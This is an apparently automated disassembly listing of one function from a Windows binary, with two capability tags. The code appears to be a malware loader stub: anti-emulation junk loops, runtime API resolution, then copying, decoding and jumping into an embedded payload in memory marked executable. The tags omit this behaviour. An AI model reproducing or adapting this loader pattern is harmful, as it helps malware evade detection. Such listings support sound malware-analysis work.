Function at 0x4015f0
Capabilities:
Compare security identifiers
Query environment variable

Disassembly:
sub esp, 0x85c
mov eax, dword [0x419340]
xor eax, esp
mov dword [esp + 0x858], eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push 0xb51d20
call esi
cmp eax, 0x6a572
jne 0x40166d
push 0xb51d20
call esi
cmp eax, 0xe47e1
jne 0x40166d
mov eax, 0x41a248
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401630
sub eax, edx
cmp eax, 0x4a090
jne 0x40166d
cmp dword [0xb51d14], 0x93
jne 0x401656
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AreAnyAccessesGranted]
xor eax, eax
push eax
push eax
push eax
mov dword [0xb51d18], eax
mov dword [0xb51d1c], eax
call fcn.00401a18
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov edi, dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, 0x103a7e7
call ebp
cmp dword [0xb51d14], 0x13bc
jne 0x4016a5
push 0
lea eax, [esp + 0x6c]
push eax
push 0
call esi
push 0
push 0
call edi
sub ebx, 1
jne 0x401686
mov eax, 0x41a248
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4016b2
sub eax, edx
cmp eax, 0x161a1
jne 0x4016d0
push 0
push 0
push 0
call fcn.00401a18
add esp, 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov edi, dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor esi, esi
cmp dword [0xb51d14], 0xb3e
jne 0x4016fa
mov dword [0xb5a188], 0
push 0
push 0
push 0
call ebx
cmp dword [0xb51d14], 0x40d
jne 0x40173c
xor eax, eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x38]
push edx
push eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
call edi
push 0
lea eax, [esp + 0x6c]
push eax
push 0
call ebp
cmp esi, 0x60abec
jle 0x40174e
cmp dword [esp + 0x10], 0x628d8f39
jne 0x401757
inc esi
cmp esi, 0x4fca382
jl 0x4016e4
mov edi, dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigW]
mov ebp, dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
xor esi, esi
or ebx, 0xffffffff
cmp esi, 0x16064f
jne 0x40177c
mov ecx, dword [0x419338]
mov dword [0xb51d14], ecx
cmp dword [0xb51d14], 0xfab
mov dword [0xb51cf8], 0xa3d3fdd0
mov dword [0xb51cfc], ebx
jne 0x4017ca
push 0x30
lea edx, [esp + 0x3c]
push 0
push edx
mov dword [esp + 0x40], 0
call fcn.00401aa0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x38]
push ecx
push 0
call edi
lea edx, [esp + 0x2c]
push edx
push 0
push 0
call ebp
inc esi
cmp esi, 0x81f59c
jl 0x401768
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleW]
xor esi, esi
cmp dword [0xb51d14], 0xd60
jne 0x4017f6
push 0
lea eax, [esp + 0x6c]
push eax
call edi
cmp esi, 0x5316eb
jne 0x401808
add dword [0xb51d14], 0x3cdf9
cmp dword [0xb51d14], 0x841
jne 0x401826
push 0
lea ecx, [esp + 0x14]
push ecx
push 0
lea edx, [esp + 0x74]
push edx
push 0
call ebp
inc esi
cmp esi, 0x5ed411
jl 0x4017e1
mov edi, dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor esi, esi
lea ecx, [ecx]
cmp dword [0xb51d14], 0x866
jne 0x401850
push 0
call edi
cmp esi, 0x22c36f
jne 0x401864
push str.kernel32.dll
call ebp
mov dword [0xb51d10], eax
inc esi
cmp esi, 0x22fb77
jl 0x401840
mov eax, dword [0xb51d10]
push 0x416a80
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0xb51d14]
push ecx
push 0
mov dword [0xb4fcf4], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x419008]
mov dword [0xb4fd04], eax
mov eax, dword [0xb51d14]
xor ecx, ecx
pop ebp
mov dword [0xb5a184], edx
pop ebx
test eax, eax
jbe 0x401907
mov edi, 0xe1d1957e
mov esi, 0x942a53d8
lea ebx, [ebx]
cmp eax, 0x777
jne 0x4018cd
mov dword [0xb4fcf8], edi
mov eax, dword [0xb5a184]
mov edx, dword [0xb4fd04]
add eax, 0x7b
mov dword [esp + 8], eax
mov eax, 0x3cdf9
add dword [esp + 8], eax
sub dword [esp + 8], 0x7b
mov eax, dword [esp + 8]
mov al, byte [eax + ecx]
mov byte [edx + ecx], al
mov eax, dword [0xb51d14]
inc ecx
mov dword [0xb51d08], esi
cmp ecx, eax
jb 0x4018c0
pop edi
pop esi
cmp eax, 0x2e4
jne 0x40192c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
lea ecx, [esp + 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
mov eax, dword [0xb51d14]
lea edx, [esp]
push edx
push 0x40
push eax
mov eax, dword [0xb4fd04]
push eax
call dword [0xb4fcf4]
mov edx, dword [0xb51d14]
mov ecx, dword [0xb4fd04]
push 0x419010
call fcn.00401560
mov eax, dword [0xb4fd04]
add eax, 0
mov dword [0xb4fd04], eax
call eax
mov ecx, dword [esp + 0x858]
xor ecx, esp
xor eax, eax
call fcn.0040197f
add esp, 0x85c
ret 0x10